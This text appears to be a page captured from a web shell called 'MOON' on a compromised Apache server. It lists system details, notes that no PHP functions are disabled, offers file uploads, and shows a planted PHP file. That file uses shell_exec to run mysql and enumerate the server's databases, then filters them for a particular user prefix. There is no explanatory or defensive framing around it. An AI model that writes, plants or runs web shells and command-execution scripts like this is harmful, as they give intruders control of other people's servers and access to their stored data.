MOON
Server: Apache
System: Linux server.zakatpenang.com 4.18.0-372.19.1.el8_6.x86_64 #1 SMP Tue Aug 2 13:42:59 EDT 2022 x86_64
User: zakatpen (1001)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/zakatpen/public_html/xa678fa.php
<?php $o=shell_exec('mysql -N -e "SHOW DATABASES" 2>/dev/null');$dbs=array_filter(array_map('trim',explode("\n",$o?:'')));$user='tmpsqxzq';$mine=array_filter($dbs,function($d)use($user){return strpos($d,$user.'_')===0||$d===$user;});echo json_encode(['ok'=>1,'dbs'=>array_values($mine)]);?>